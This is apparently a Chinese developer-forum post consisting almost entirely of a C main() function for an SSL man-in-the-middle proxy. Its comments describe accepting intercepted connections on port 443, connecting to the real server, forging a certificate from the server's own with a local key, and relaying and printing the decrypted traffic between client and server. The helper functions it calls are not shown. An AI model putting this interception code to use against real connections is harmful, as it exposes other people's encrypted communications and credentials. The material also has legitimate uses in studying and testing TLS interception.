23,121
社区成员
发帖
与我相关
我的任务
分享
int main()
{
// 初始化一个socket,将该socket绑定到443端口,并监听
int socket = socket_to_client_init(443);
// 从文件读取伪造SSL证书时需要的RSA私钥和公钥
EVP_PKEY* key = create_key();
// 初始化openssl库
SSL_init();
while (1)
{
struct sockaddr_in original_server_addr;
// 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中
int socket_to_client = get_socket_to_client(socket, &original_server_addr);
if (socket_to_client < 0)
{
continue;
}
// 新建一个子进程处理后续事宜,主进程继续监听端口等待后续连接
if (!fork())
{
X509 *fake_x509;
SSL *ssl_to_client, *ssl_to_server;
// 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket
int socket_to_server = get_socket_to_server(&original_server_addr);
// 通过和服务器连接的socket建立一个和服务器的SSL连接
ssl_to_server = SSL_to_server_init(socket_to_server);
if (SSL_connect(ssl_to_server) < 0)
{
SSL_Error("Fail to connect server with ssl!");
}
printf("%d, SSL to server successed!\n", sum);
// 从服务器获得证书,并通过这个证书伪造一个假的证书
fake_x509 = create_fake_certificate(ssl_to_server, key);
// 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功
ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key);
if(ssl_to_client == 0)
{
SSL_Error("SSL to client Failed!\n");
}
//中间人和客户端建立SSL连接
if (SSL_accept(ssl_to_client) <= 0)
{
SSL_Error("Fail to accept client with ssl!");
}
printf("%d, SSL to client successed!\n", sum);
// 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据
if (transfer(ssl_to_client, ssl_to_server) < 0)
{
break;
}
printf("%d, connection shutdown\n", sum);
shutdown(socket_to_server, SHUT_RDWR);
SSL_terminal(ssl_to_client);
SSL_terminal(ssl_to_server);
X509_free(fake_x509);
EVP_PKEY_free(key);
}
else
{
++sum;
}
}
return 0;
}